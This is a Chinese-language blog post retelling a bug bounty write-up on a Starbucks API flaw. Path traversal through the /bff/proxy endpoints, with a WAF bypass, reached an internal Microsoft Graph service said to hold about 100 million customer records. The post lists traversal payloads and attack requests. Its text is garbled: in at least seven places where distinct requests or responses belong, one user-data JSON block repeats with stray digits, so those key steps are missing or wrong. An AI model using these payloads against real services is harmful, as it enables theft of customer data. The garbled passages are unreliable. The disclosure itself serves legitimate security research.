回顾新姿势:击穿星巴克获取 1 亿用户详细信息
背景
有一种攻击叫做: 次级上下文穿越攻击, 也许单听名字你不理解这是怎么样一种攻击。
但是下面我将用星巴克被攻陷的一个真实案例来跟你介绍这种巧妙的攻击方式以及它给我带来了怎么样的思考!
正文
在尝试了一整天却未能在 Verizon Media 漏洞赏金计划中找到任何漏洞后,我决定暂时放弃,去做点杂事。
我需要为朋友的生日买礼物,于是上网订购了一张 Starbucks 的礼品卡。
在 Starbucks 网站上进行购买时,我注意到许多 API 调用立刻引起了我的怀疑。这些请求是通过一个以 /bff/proxy/ 前缀的 API 发出的,看起来返回的数据似乎是从另一个主机获取的。
由于 Starbucks 也有漏洞赏金计划,而那一天我毫无收获,因此决定进一步研究这些 API 调用。
以下是其中一个 API 调用的示例,该调用返回了我的用户信息:
POST/bff/proxy/orchestra/get-user HTTP/1.1
Host: app.starbucks.com
响应返回
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
术语 "bff" 实际上代表 "Backend for Frontend",表明用户交互的应用程序会将请求转发到另一个主机,以完成实际的逻辑或功能。
以下是一个简单的视觉示例,帮助说明其基本工作原理:
在上述示例中,app.starbucks.com 主机无法直接访问特定端点使用的逻辑或数据,而是充当代理或中介,将请求转发到假想的第二个主机 "internal.starbucks.com"。
以下是一些值得思考的问题:
1. 我们如何测试应用程序的路由机制?
2. 如果应用程序将请求路由到内部主机,该主机的权限模型是什么样的?
3. 我们能否控制发送到内部主机的请求路径或参数?
4. 内部主机是否存在开放重定向?如果存在,应用程序是否会跟随该重定向?
5. 返回的内容是否必须符合某种特定类型(例如解析 JSON、XML 或其他数据格式)?
我首先尝试在 API 调用中进行路径遍历,以便加载其他路径,为此,我发送了以下有效载荷:
/bff/proxy/orchestra/get-user/..%2f
/bff/proxy/orchestra/get-user/..;/
/bff/proxy/orchestra/get-user/../
/bff/proxy/orchestra/get-user/..%00/
/bff/proxy/orchestra/get-user/..%0d/
/bff/proxy/orchestra/get-user/..%5c
/bff/proxy/orchestra/get-user/..
/bff/proxy/orchestra/get-user/..%ff/
/bff/proxy/orchestra/get-user/%2e%2e%2f
/bff/proxy/orchestra/get-user/.%2e/
/bff/proxy/orchestra/get-user/%3f (?)
/bff/proxy/orchestra/get-user/%26 (&)
/bff/proxy/orchestra/get-user/%23 (#)
遗憾的是,这些尝试都失败了。它们都返回了一个 404 页面,与尝试加载站点中不存在的页面时看到的页面完全相同。
这表明,仅仅因为请求路径在 "/bff/proxy"下,并不意味着它会传递我之后发送的所有内容。很可能路由是更加明确和受限制的。
在这种情况下,可以将 /bff/proxy/orchestra/get-user
看作是一个不接受用户输入的函数调用。
但仍有可能找到接受用户输入的函数,例如 /bff/proxy/users/:id
,这类路径允许更多的操作空间,从而可以测试它能接受哪些数据。
如果找到这样的 API 调用,我们在尝试路径遍历和发送其他数据时可能会更有成效。
我继续在应用程序中探索了一段时间,直到发现了几个新的 API 调用。其中,第一个能够接受用户输入的调用是:
GET/bff/proxy/stream/v1/me/streamItems/:streamItemId HTTP/1.1
Host: app.starbucks.com
这个端点与"get-user"端点不同,因为最后的路径作为一个参数存在,我们在其中提供了任意输入。
如果这个输入被当作内部系统的路径处理,那么我们可能就能够进行路径遍历,访问其他内部端点。
幸运的是,我尝试的第一个测试返回了一个非常好的指示,表明我们可以进行端点遍历:
GET/bff/proxy/stream/v1/users/me/streamItems/..HTTP/1.1
Host: app.starbucks.com
返回
{
"errors": [
{
"message": "Not Found",
"errorCode": 404,
...
这个 JSON 响应与"/bff/proxy"下的其他正常 API 调用的响应相同。
这表明我们已经触及到内部系统,并且成功修改了我们请求的路径。
下一步是绘制内部系统的结构,而最好的方法就是通过找到第一个返回"400 bad request"的路径,逐步向根目录遍历。
不幸的是,我遇到了一点小障碍。有一个 WAF 阻止了我深入到第二级目录:
GET/bff/proxy/stream/v1/users/me/streamItems/....HTTP/1.1
Host: app.starbucks.com
HTTP/1.1 403 Forbidden
幸运的是,WAF 通常并不强大:
GET/bff/proxy/stream/v1/me/streamItems/web..... HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Not Found",
"errorCode": 404,
...
最终,在返回 7 个路径后,我收到了以下错误:
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
0
这意味着内部 API 的根目录应该是在返回 6 个路径的位置,我们可以使用目录暴力破解工具,或者直接使用 Burp Suite 的 Intruder 和字典列表来绘制这个结构。
在这个阶段,我联系了 Justin Gardner,邀请他一起探索这个功能,因为我对它非常感兴趣。
他几乎立即通过观察到没有斜杠的 HTTP 请求,使用 Burp 的 Intruder 识别出了一些位于内部系统根目录的路径,这些路径返回了一个重定向代码:
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
1
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
2
在 Justin 负责寻找所有端点的同时,我则逐个目录进行分析。
经过自己的扫描后,我发现"v1"位于"search"下,而“v1”下面有"Accounts"和"Addresses"。
我给 Justin 发了一条消息,想着如果"/search/v1/accounts"端点是用来搜索所有生产账户的话,那该有多搞笑…
结果正是如此。
"/search/v1/accounts"是一个 Microsoft Graph 实例,拥有访问所有 Starbucks 账户的权限。
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
3
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
4
这是一个服务,看起来是用于生产账户和地址的。我们开始进一步探索这个服务,以确认我们的怀疑,使用了 Microsoft Graph 的功能。
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
5
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
6
通过在Microsoft Graph URL中添加”$count”参数,我们能够确定该服务大约有1亿条记录。
此外,攻击者还可以使用"$filter"参数来定位特定的用户账户:
{
"data": {
"user": {
"exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "[email protected]",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
7
由于涉及的内容极为敏感,我们决定报告这个问题。还有一些其他 API 本可以被访问,但我们没有时间进一步探索。我们发现的其他端点包括:
barcode、loyalty、appsettings、card、challenge、content、identifier、identity、onboarding、orderhistory、permissions、product、promotion、account、billingaddress、enrollment、location、music、offers、rewards、keyserver。
这些其他内部端点可能(虽然未确认)允许我们访问和修改诸如账单地址、礼品卡、奖励和优惠等信息。
当前概念验证表明,我们可以访问接近 1 亿名 Starbucks 客户的姓名、电子邮件、电话号码和地址。
内容小结
位于
app.starbucks.com
上的/bff/proxy/
下的端点将请求路由到内部,以检索和存储数据。可以通过遍历这些 API 调用,访问本不应在内部主机上可访问的 URL。
内部 API 暴露了一个 Microsoft Graph 实例,攻击者可以利用该实例外泄近 1 亿条用户记录,包括姓名、电子邮件、电话号码和地址。
时间线
5 月 16 日:报告问题
5 月 17 日:修复问题
5 月 19 日:奖励奖金($4,000) (PS.钱确实少了点)
6 月 16 日:公开披露
漏洞分析
回到我们最初讨论的地方,“次级上下文穿越攻击”的本质是通过路径穿越来攻击内部脆弱的接口。
关键在于如何实现路径穿越,这就需要我们思考整个系统的转发架构是如何设计的。
例如,本文中的第一次尝试未能成功。如果后端采用了严格的匹配规则,比如 /bff/proxy/orchestra/get-user 只提取 orchestra/get-user 部分并与请求路径进行比对,那么无论如何绕过这个点都是无效的。
正因如此,我们才进行了第二次尝试,寻找一个可控的输入点 /bff/proxy/stream/v1/me/streamItems/:streamItemId
在这个点上,后端可能会匹配到 stream/v1/me/streamItems/ 部分,并确认其与请求路径相等,进入下一步。
接着,拼接上 streamItemId,形成一个新的路径,从而导致路径穿越。
thanks:https://samcurry.net/hacking-starbucks
文末总结
在大型、复杂系统里面,内部一般会有多层接口转发体系,但由于这一类漏洞本身就具备隐蔽性,所以很多时候如果不去刻意挖掘不一定能发现此类漏洞,但是我相信看完这篇文章的小伙伴,肯定会感悟良多,形成自己的 Fuzz 体系,从而击穿各种复杂系统。
最后,请您持续关注 “一个不正经的黑客“ 公众号,享受它后续带来更多精彩的前沿技术以及更骚的漏洞姿势,所谓一号一世界,你的一份支持便是我的莫大动力!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...